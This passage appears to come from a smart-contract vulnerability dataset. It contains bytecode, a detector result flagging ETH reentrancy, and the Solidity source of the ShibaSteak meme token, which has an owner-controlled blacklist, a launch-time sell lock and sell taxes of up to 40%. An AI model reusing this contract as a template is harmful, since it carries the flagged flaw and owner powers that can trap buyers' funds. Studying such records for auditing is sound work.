61037c366004611ae5565b610737565b34801561038d57600080fd5b506101fc61077f565b3480156103a257600080fd5b506102c16103b1366004611ab8565b6107ca565b3480156103c257600080fd5b506101fc6107ec565b3480156103d757600080fd5b506101fc6103e6366004611b00565b610860565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ab8565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611ae5565b61088f565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b506101fc61049d366004611b00565b6108d7565b3480156104ae57600080fd5b506101fc6104bd366004611b19565b610906565b3480156104ce57600080fd5b506102626104dd366004611a4b565b610944565b3480156104ee57600080fd5b506102626104fd366004611ab8565b60106020526000908152604090205460ff1681565b34801561051e57600080fd5b506101fc610951565b34801561053357600080fd5b506101fc610542366004611b4b565b6109a5565b34801561055357600080fd5b506102c1610562366004611bcf565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059957600080fd5b506101fc6105a8366004611b00565b610a46565b3480156105b957600080fd5b506101fc6105c8366004611ab8565b610a75565b6000546001600160a01b031633146106005760405162461bcd60e51b81526004016105f790611c08565b60405180910390fd5b60005b81518110156106685760016010600084848151811061062457610624611c3d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066081611c69565b915050610603565b5050565b6000610679338484610b5f565b5060015b92915050565b6000610690848484610c83565b6106e284336106dd85604051806060016040528060288152602001611d83602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bf565b610b5f565b5060019392505050565b6000546001600160a01b031633146107165760405162461bcd60e51b81526004016105f790611c08565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107615760405162461bcd60e51b81526004016105f790611c08565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b457506013546001600160a01b0316336001600160a01b0316145b6107bd57600080fd5b476107c7816111f9565b50565b6001600160a01b03811660009081526002602052604081205461067d90611233565b6000546001600160a01b031633146108165760405162461bcd60e51b81526004016105f790611c08565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b81526004016105f790611c08565b601655565b6000546001600160a01b031633146108b95760405162461bcd60e51b81526004016105f790611c08565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109015760405162461bcd60e51b81526004016105f790611c08565b601855565b6000546001600160a01b031633146109305760405162461bcd60e51b81526004016105f790611c08565b600893909355600a91909155600955600b55565b6000610679338484610c83565b6012546001600160a01b0316336001600160a01b0316148061098657506013546001600160a01b0316336001600160a01b0316145b61098f57600080fd5b600061099a306107ca565b90506107c7816112b7565b6000546001600160a01b031633146109cf5760405162461bcd60e51b81526004016105f790611c08565b60005b82811015610a405781600560008686858181106109f1576109f1611c3d565b9050602002016020810190610a069190611ab8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3881611c69565b9150506109d2565b50505050565b6000546001600160a01b03163314610a705760405162461bcd60e51b81526004016105f790611c08565b601755565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b81526004016105f790611c08565b6001600160a01b038116610b045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f7565b6001600160a01b038216610c225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f7565b6001600160a01b038216610d495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f7565b60008111610dab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f7565b6000546001600160a01b03848116911614801590610dd757506000546001600160a01b03838116911614155b156110b857601554600160a01b900460ff16610e70576000546001600160a01b03848116911614610e705760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f7565b601654811115610ec25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f7565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0457506001600160a01b03821660009081526010602052604090205460ff16155b610f5c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f7565b6015546001600160a01b03838116911614610fe15760175481610f7e846107ca565b610f889190611c84565b10610fe15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f7565b6000610fec306107ca565b6018546016549192508210159082106110055760165491505b80801561101c5750601554600160a81b900460ff16155b801561103657506015546001600160a01b03868116911614155b801561104b5750601554600160b01b900460ff165b801561107057506001600160a01b03851660009081526005602052604090205460ff16155b801561109557506001600160a01b03841660009081526005602052604090205460ff16155b156110b5576110a3826112b7565b4780156110b3576110b3476111f9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110fa57506001600160a01b03831660009081526005602052604090205460ff165b8061112c57506015546001600160a01b0385811691161480159061112c57506015546001600160a01b03848116911614155b15611139575060006111b3565b6015546001600160a01b03858116911614801561116457506014546001600160a01b03848116911614155b1561117657600854600c55600954600d555b6015546001600160a01b0384811691161480156111a157506014546001600160a01b03858116911614155b156111b357600a54600c55600b54600d555b610a4084848484611440565b600081848411156111e35760405162461bcd60e51b81526004016105f791906119f6565b5060006111f08486611c9c565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610668573d6000803e3d6000fd5b600060065482111561129a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f7565b60006112a461146e565b90506112b08382611491565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ff576112ff611c3d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135357600080fd5b505afa158015611367573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138b9190611cb3565b8160018151811061139e5761139e611c3d565b6001600160a01b0392831660209182029290920101526014546113c49130911684610b5f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fd908590600090869030904290600401611cd0565b600060405180830381600087803b15801561141757600080fd5b505af115801561142b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144d5761144d6114d3565b611458848484611501565b80610a4057610a40600e54600c55600f54600d55565b600080600061147b6115f8565b909250905061148a8282611491565b9250505090565b60006112b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611638565b600c541580156114e35750600d54155b156114ea57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151387611666565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154590876116c3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115749086611705565b6001600160a01b03891660009081526002602052604090205561159681611764565b6115a084836117ae565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006116138282611491565b82101561162f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116595760405162461bcd60e51b81526004016105f791906119f6565b5060006111f08486611d41565b60008060008060008060008060006116838a600c54600d546117d2565b925092509250600061169361146e565b905060008060006116a68e878787611827565b919e509c509a509598509396509194505050505091939550919395565b60006112b083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bf565b6000806117128385611c84565b9050838110156112b05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f7565b600061176e61146e565b9050600061177c8383611877565b306000908152600260205260409020549091506117999082611705565b30600090815260026020526040902055505050565b6006546117bb90836116c3565b6006556007546117cb9082611705565b6007555050565b60008080806117ec60646117e68989611877565b90611491565b905060006117ff60646117e68a89611877565b90506000611817826118118b866116c3565b906116c3565b9992985090965090945050505050565b60008080806118368886611877565b905060006118448887611877565b905060006118528888611877565b905060006118648261181186866116c3565b939b939a50919850919650505050505050565b6000826118865750600061067d565b60006118928385611d63565b90508261189f8583611d41565b146112b05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f7565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c757600080fd5b803561192c8161190c565b919050565b6000602080838503121561194457600080fd5b823567ffffffffffffffff8082111561195c57600080fd5b818501915085601f83011261197057600080fd5b813581811115611982576119826118f6565b8060051b604051601f19603f830116810181811085821117156119a7576119a76118f6565b6040529182528482019250838101850191888311156119c557600080fd5b938501935b828510156119ea576119db85611921565b845293850193928501926119ca565b98975050505050505050565b600060208083528351808285015260005b81811015611a2357858101830151858201604001528201611a07565b81811115611a35576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5e57600080fd5b8235611a698161190c565b946020939093013593505050565b600080600060608486031215611a8c57600080fd5b8335611a978161190c565b92506020840135611aa78161190c565b929592945050506040919091013590565b600060208284031215611aca57600080fd5b81356112b08161190c565b8035801515811461192c57600080fd5b600060208284031215611af757600080fd5b6112b082611ad5565b600060208284031215611b1257600080fd5b5035919050565b60008060008060808587031215611b2f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b6057600080fd5b833567ffffffffffffffff80821115611b7857600080fd5b818601915086601f830112611b8c57600080fd5b813581811115611b9b57600080fd5b8760208260051b8501011115611bb057600080fd5b602092830195509350611bc69186019050611ad5565b90509250925092565b60008060408385031215611be257600080fd5b8235611bed8161190c565b91506020830135611bfd8161190c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7d57611c7d611c53565b5060010190565b60008219821115611c9757611c97611c53565b500190565b600082821015611cae57611cae611c53565b500390565b600060208284031215611cc557600080fd5b81516112b08161190c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d205784516001600160a01b031683529383019391830191600101611cfb565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7d57611d7d611c53565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d934051e281baaaeb12f236e91f213639a080f5fa064dd5f21d9b76e48ffd7fb64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,310 |
0x1f794cd47d2c79aee4d6358825957979665be6c9
|
/**
*Submitted for verification at Etherscan.io on 2021-06-27
*/
/**
*
* ShibaSteak🐕🥩
* Telegram: https://t.me/shibasteak
* Twitter: https://twitter.com/shibasteak
*
* TOKENOMICS:
* 1,000,000,000,000 token supply
* FIRST TWO MINUTES: 3,000,000,000 max buy / 60-second buy cooldown (these limitations are lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy, in order to limit bot behavior. NO OTHER COOLDOWNS, NO COOLDOWNS BETWEEN SELLS
*
* SELLING IS DISABLED FOR THE FIRST 60 SECONDS TO BLACKLIST BOTS (AUTOMATICALLY ENABLED AFTER 60 SECS)
*
* Maximum Wallet Token Percentage
* - For the first 15 minutes. there is a 2% token wallet limit (2,000,000,000)
* - After 15 minutes, the % wallet limit is lifted
*
* 10% total tax on buy
* Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT.
* No team tokens, no presale
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBASTEAK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Shiba Steak | t.me/shibasteak";
string private constant _symbol = unicode"STEAK🐕🥩";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
address payable private _marketingFixedWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
uint256 private sellLimitEnd;
uint256 private walletLimitDuration;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_marketingFixedWalletAddress = marketingFixedWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
_isExcludedFromFee[marketingFixedWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (60 seconds);
}
if (walletLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
require(!bots[from] && !bots[to]);
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
require(sellLimitEnd < block.timestamp, "Selling is not yet allowed.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2).div(2));
_marketingFixedWalletAddress.transfer(amount.div(2).div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
// Sells are turned off for the first 60 seconds to blacklist bots
sellLimitEnd = block.timestamp + (60 seconds);
walletLimitDuration = block.timestamp + (15 minutes);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063a9fc35a91161008a578063c9567bf911610064578063c9567bf914610537578063db92dbb61461054e578063dd62ed3e14610579578063e8078d94146105b657610171565b8063a9fc35a9146104ba578063b515566a146104f7578063c3c8cd801461052057610171565b806370a08231146103a8578063715018a6146103e55780638da5cb5b146103fc57806395d89b4114610427578063a9059cbb14610452578063a985ceef1461048f57610171565b8063313ce56711610123578063313ce5671461029a5780633bbac579146102c557806345596e2e146103025780635932ead11461032b57806368a3a6a5146103545780636fc3eaec1461039157610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd14610209578063273123b71461024657806327f3a72a1461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105cd565b60405161019891906136ea565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190613188565b61060a565b6040516101d591906136cf565b60405180910390f35b3480156101ea57600080fd5b506101f3610628565b60405161020091906138ec565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190613135565b610639565b60405161023d91906136cf565b60405180910390f35b34801561025257600080fd5b5061026d6004803603810190610268919061309b565b610712565b005b34801561027b57600080fd5b50610284610802565b60405161029191906138ec565b60405180910390f35b3480156102a657600080fd5b506102af610812565b6040516102bc9190613961565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e7919061309b565b61081b565b6040516102f991906136cf565b60405180910390f35b34801561030e57600080fd5b506103296004803603810190610324919061326b565b610871565b005b34801561033757600080fd5b50610352600480360381019061034d9190613211565b610958565b005b34801561036057600080fd5b5061037b6004803603810190610376919061309b565b610a50565b60405161038891906138ec565b60405180910390f35b34801561039d57600080fd5b506103a6610aa7565b005b3480156103b457600080fd5b506103cf60048036038101906103ca919061309b565b610b19565b6040516103dc91906138ec565b60405180910390f35b3480156103f157600080fd5b506103fa610b6a565b005b34801561040857600080fd5b50610411610cbd565b60405161041e9190613601565b60405180910390f35b34801561043357600080fd5b5061043c610ce6565b60405161044991906136ea565b60405180910390f35b34801561045e57600080fd5b5061047960048036038101906104749190613188565b610d23565b60405161048691906136cf565b60405180910390f35b34801561049b57600080fd5b506104a4610d41565b6040516104b191906136cf565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc919061309b565b610d58565b6040516104ee91906138ec565b60405180910390f35b34801561050357600080fd5b5061051e600480360381019061051991906131c8565b610daf565b005b34801561052c57600080fd5b50610535610ed9565b005b34801561054357600080fd5b5061054c610f53565b005b34801561055a57600080fd5b5061056361103f565b60405161057091906138ec565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130f5565b611071565b6040516105ad91906138ec565b60405180910390f35b3480156105c257600080fd5b506105cb6110f8565b005b60606040518060400160405280601d81526020017f536869626120537465616b207c20742e6d652f7368696261737465616b000000815250905090565b600061061e61061761160a565b8484611612565b6001905092915050565b6000683635c9adc5dea00000905090565b60006106468484846117dd565b6107078461065261160a565b6107028560405180606001604052806028815260200161416060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b861160a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122019092919063ffffffff16565b611612565b600190509392505050565b61071a61160a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff